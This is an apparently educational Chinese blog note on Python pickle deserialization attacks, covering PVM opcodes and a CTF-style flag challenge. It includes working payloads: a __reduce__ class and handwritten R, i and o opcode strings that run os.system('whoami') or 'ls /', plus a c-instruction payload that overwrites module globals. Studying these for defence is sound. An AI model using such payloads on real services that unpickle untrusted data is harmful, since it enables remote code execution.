python pickle 反序列化

pickle模块

pickle模块是对Python对象结构进行二进制序列化和反序列化的协议实现，就是把Python数据变成流的形式。类似php对对象进行序列化。pickle会创建一个python语言专用的二进制格式，

pickle模块中的两个主要函数dump()和load()。

这里贴张图：

×

也就是对对象进行序列化和反序列化的操作，和php中的serialize和unserialize类似。 举一个例子：

import pickle
from Demo import test1

# class test1():
#     def __init__(self, name='haker'):
#         self.name = name

print('[+] 序列化')
print(pickle.dumps(test1()))
print('[+] 反序列化')
print(pickle.loads(pickle.dumps(test1())).name)

#[+] 序列化
#b'\x80\x04\x95(\x00\x00\x00\x00\x00\x00\x00\x8c\x04Demo\x94\x8c\x05test1\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x05haker\x94sb.'
#[+] 反序列化
#haker

这里可以看到序列化后的数据，这是opcode码。这里了解一下PVM(python虚拟机)的组成和执行流程。

PVM

对python，它可以直接从源代码运行程序。python解释器先将源代码编译为字节码，然后将字节码放在PVM里面执行。

由三部分组成：

• 指令处理器( Instruction processor ) 从数据流中读取操作码(opcode)和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stack和 memo区域的值 .直到遇到 ==.==这个结束符号 。这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 。

• 栈区( stack )

  由 Python的列表( list)实现 , 用来临时存储数据、参数以及对象。作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作，并最终在栈顶生成反序列化的结果

• 标签区(存储区---memo )

  由 Python的字典( dict)实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .简单来说就是将反序列化完成的数据以 key-value的形式储存在memo中，以便使用。

执行流程：

1.PVM会把源代码编译成字节码

字节码是Python特有的一种表现形式，不是二进制机器码，需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在==内存中==生成字节码 , 在程序执行结束后被自动丢弃 .

Python进程会把编译好的字节码转发到PVM（Python虚拟机）中，PVM会循环迭代执行字节码指令，直到所有操作被完成。

pickletools

也就是说这个opcode我们很难看懂，这里使用pickletools这个调试器 pickle构造出的字符串有6个版本，默认为3，其中0为原始的"人类可读"。

这里可以看一些常见的opcode的解释(以v0解释)：

确实不太好理解，我们先往下看

漏洞分析：

__reduce__方法:

最常见的反序列化，大概就是利用这个。__reduce__()魔术方法类似于PHP中的__wakeup()方法, 在反序列化时会先调用__reduce__()魔术方法。

import pickle
import  pickletools
import os

class test1():
    # def __init__(self, name='haker'):
    #     self.name = name
    def __reduce__(self):
        return (os.system,('ls / ',))//返回值要么是字符串，要么是元组
a=test1()
b=pickle.dumps(a,protocol=0)

print(pickletools.dis(b))

×

我们可以看到这里使用了opcode里面的R指令，他的作用：

取当前栈的栈顶记为args，然后把它弹掉。
取当前栈的栈顶记为f，然后把它弹掉。
以args为参数，执行函数f，把结果压进当前栈。

只要R指令存在，__reduce__()就会执行，无论代码中是否存在这个方法。

import pickle
import  pickletools
import os

class test1():
    def __init__(self, name='haker'):
        self.name = name
    # def __reduce__(self):
    #     return (os.system,('whoami',))

# opcode="b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n."
pickle.loads(b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.')#b' '表示字节字符串的开头

我们直接对没有__reduce__()的代码实例化我们构造的opcode:

×

成功执行了命令。那么如果我们过滤了__reduce__()呢?我们上面也说了__reduce__()的执行完全取决于是否有R指令，我们把R指令ban了，这条路就行不通了。

全局变量包含覆盖:c指令：

这里先解释一下c指令是干什么的，上面表格中c说: 获取一个全局对象或import一个模块,也就是说c指令可以获得全局中xxx.xxx的值。

我们先举一个简单的例子：

import pickle
import secret
#a=123
print("secret变量的值为:"+secret.a)
opcode=b'''c__main__
secret
(S'a'
S'456'
db.'''
hack=pickle.loads(opcode)
print("secret变量的值为:"+secret.a)

×

分析一下opcode: c: 往后读到换行符为模版名(__main__),往后读到换行符为类名(secret) ---（对象入栈） (S：向栈中压入一个标记MARK(入栈)，初始化一个名为a的字符串对象(入栈) S：实例化一个字符串对象(入栈) db. :寻找栈中的上一个MARK(出栈)，并组合之-间的数据(出栈)为字典(a-456)(入栈),使用栈中的第一个元素(出栈)（前面的字典（a-456））对第二个元素（对象实例(_main_.secret)）进行属性设置(a->456 出栈),程序结束，栈顶的一个元素(也就是_main_.secret这个对象)作为pickle.loads()的返回值

看一下我自己画的一个图解：

×

这个时候a的值已经被改变。

再看一个例子:

import secret
import pickle
import pickletools

class flag():
    def __init__(self,a,b):
        self.a = a
        self.b = b
# new_flag = pickle.dumps(flag('A','B'),protocol=3)
# print(new_flag)
# pickletools.dis(new_flag)

your_payload = b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a,secret.b)

if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
    print('flag{xxxxxx}')
else:
    print('No!')

###secret.py
a='123'
b='456'

这边我们不知道secret中的a和b的值。如何到达if的判断而获取flag?这里就用到了c指令，我们先输出一下正常的flag类。

×

X BINUNICODE大概就是 读入字符串，并把它压入栈中，也就是类属性与值 q BINPUT 没什么影响，把当前栈栈顶复制一份到存储区 那么我们如果把a和b的值利用==c指令==改为secret.a和secret.b是不是就将flag类里面的属性值给改变了，而到达目的，先看一下正常序列化的结果

b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.'

修改后:

b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'

这里就是把X改为了c指令，导入secret全局对象，然后把a和b的值给修改。

命令执行:

前面说的__reduce__只能进行一次命令执行，如果要执行多次命令，就要手写opcode了。

R:

选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数（函数和参数出栈，函数的返回值入栈）

opcode=b'''cos
system
(S'whoami'
tR.'''

这里第一个对象就是 os.system，第二个对象就是whoami啦.

i:

×

opcode=b'''(S'whoami'
ios
system
.'''

开始==(==压入一个MARK标记，然后i指令，先获得全局函数os.system，然后找上一个MARK，并组合数据为元组，也就是whoami。

o:

×

opcode=b'''(cos
system
S'whoami'
o.'''

开始==(==压入一个MARK标记，c指令获得全局对象os.system,S：实例化一个字符串对象，o:找上一个MARK，第一个数据(os.system)为函数，后面的数据为参数(whoami)。

结语:

第一次接触python反序列化，其中有些部分还没完全理解，后续再接触会继续更新笔记，有错误还请各位师傅指正。